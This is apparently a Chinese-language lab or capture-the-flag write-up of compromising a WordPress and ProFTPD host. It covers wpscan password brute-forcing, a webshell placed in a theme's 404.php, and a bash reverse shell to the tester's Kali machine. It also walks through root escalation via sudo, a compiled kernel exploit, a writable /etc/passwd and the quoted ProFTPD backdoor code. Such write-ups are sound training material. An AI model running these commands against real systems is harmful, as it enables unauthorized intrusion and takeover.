0x00 简介
目标IP:xxxx.95
测试IP:xxxx.96
测试环境:win10、kali等
测试时间:2021.7.23-2021.7.26
测试人员:ruanruan
0x01 信息收集
1、端口扫描
- 21,ftp,ProFTPD,1.3.3c
- 22,ssh,Openssh,7.2
- 80,web
2、目录扫描
通过御剑扫描到/secret/
目录
访问是wordpress博客
0x02 初次尝试
1、21端口-ftp
- 匿名登录,失败
- 弱口令,失败
2、22端口-ssh
高版本,未做尝试
3、80端口-wordpress
- 尝试后台getshell,投稿页面编辑一句话,未成功
- 查找wordpress4.9版本漏洞,很多不能getshell
- wpscan扫插件、主题、用户名等漏洞,无发现
利用wpscan先枚举出用户名,再爆破密码,得到admin/admin。
wpscan --url xxxx.95/secret -e u
wpscan --url xxxx.95/secret/ -U admin -P rockyou.txt
访问wp默认后台进行登录。
0x03 getshell
wordpress后台getshell的常见方法有:
- 在线编辑
- 上传文件
- 媒体文件
- 主题文件
- 插件(webshell插件,非漏洞插件)
这里通过在线编辑页面。
首先点击主题,选择editor对404页面进行编辑,写一句话
完整页面链接:http://xxxx.95/secret/wp-content/themes/twentyseventeen/404.php
然后菜刀连接,getshell
0x04 获得高权限用户
1、收集信息
查看id,目前是www-data
查看端口开放情况
netstat -ano
查看数据库配置
查看home目录,猜测marlinspike为用户名
进入marlinspike目录,两个提示信息:sudo提权和proftpd后门?
查看etc/passwd,确认存在该用户
菜刀的shell不好用,反弹shell到kali
bash -c 'bash -i >&/dev/tcp/xxxx.96/2333' 0>&1
2、利用信息
猜测账号密码为marlinspike/marlinspike,ssh登录
然后就继续收集信息尝试提权。
0x05 提权
1、信息收集&尝试
- linux常见提权尝试:
- sudo:sudo -l
- suid
- find / -type f -perm -u=s 2>/dev/null -ls
- crontab
- ls -l |grep cron*
- ls -al,看有无root权限执行的脚本
- nfs
- showmount -e ip
- 内核
- uname -a
- searchsploit
- mysql提权尝试,mysql服务以mysql权限运行,提权也只能得到mysql账号
- ftp,同样没有以root权限运行,提权也只能得到ftp用户,不是root用户
2、sudo提权
sudo -l,查看root权限运行的命令
All~~,直接sudo su
3、内核提权
uname -a
searchsploit ubuntu 4.10.0
查看exp详细信息,获得路径
searchsploit -p 45010.c
登录sftp,上传exp
sftp marlinspike@xxxx.95
put 45010.c
编译.c文件并执行
gcc 45010.c -o exp
la -l exp
./exp
/bin/bash
4、低权限用户直接修改root密码
marlinspike账号有该文件的写权限。
ls -al /etc/passwd
可直接修改X为新密码
5、利用ProFTPD1.3.3c后门漏洞提权
前面的提示信息有暗示后门,没有善用搜索。
搜索:proftpd 1.3.3.c 后门
具体参考:https://blog.csdn.net/weixin_34384681/article/details/89798540
关键漏洞代码:
if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
0x06 总结
1、遇到的问题
- wordpress后台getshell,在线编辑位置尝试错误
- 对wordpress后台常见的getshell方法不够熟练,都尝试下
- 从菜刀直接反弹shell到kali失败,显示/bin/sh,语法错误
- webshell不是完整的交互式shell,通过bash -c 'xxx'解决
- 找marlinspike密码时没有直接尝试用户名
- 在尝试通过收集其他信息来获取,之后遇到任何密码未知情况都可以先试下用户名再尝试信息收集和爆破等方法。
- 没有注意到可直接修改/etc/passwd
- 对于etc/passwd、/etc/shadow、.sh等文件要注意其当前用户权限和执行权限。
- 没有发现proftpd后门漏洞提权方法
- 不了解该漏洞,但没有善用搜索。多思考、搜索每个信息的用处。
2、知识点
- wordpress后台getshell方法总结
- ProFTPD后门提权漏洞
- 提权思想
- 直接获取密码
- 通过root权限运行的服务提权
3、反思
- 做得较好的地方
- 思路会更加清晰
- 收集的信息整合分析较好
- linux提权更加熟练
- 需要继续努力的地方
- 常见服务和cms的漏洞了解范围
- 关键信息的思考和利用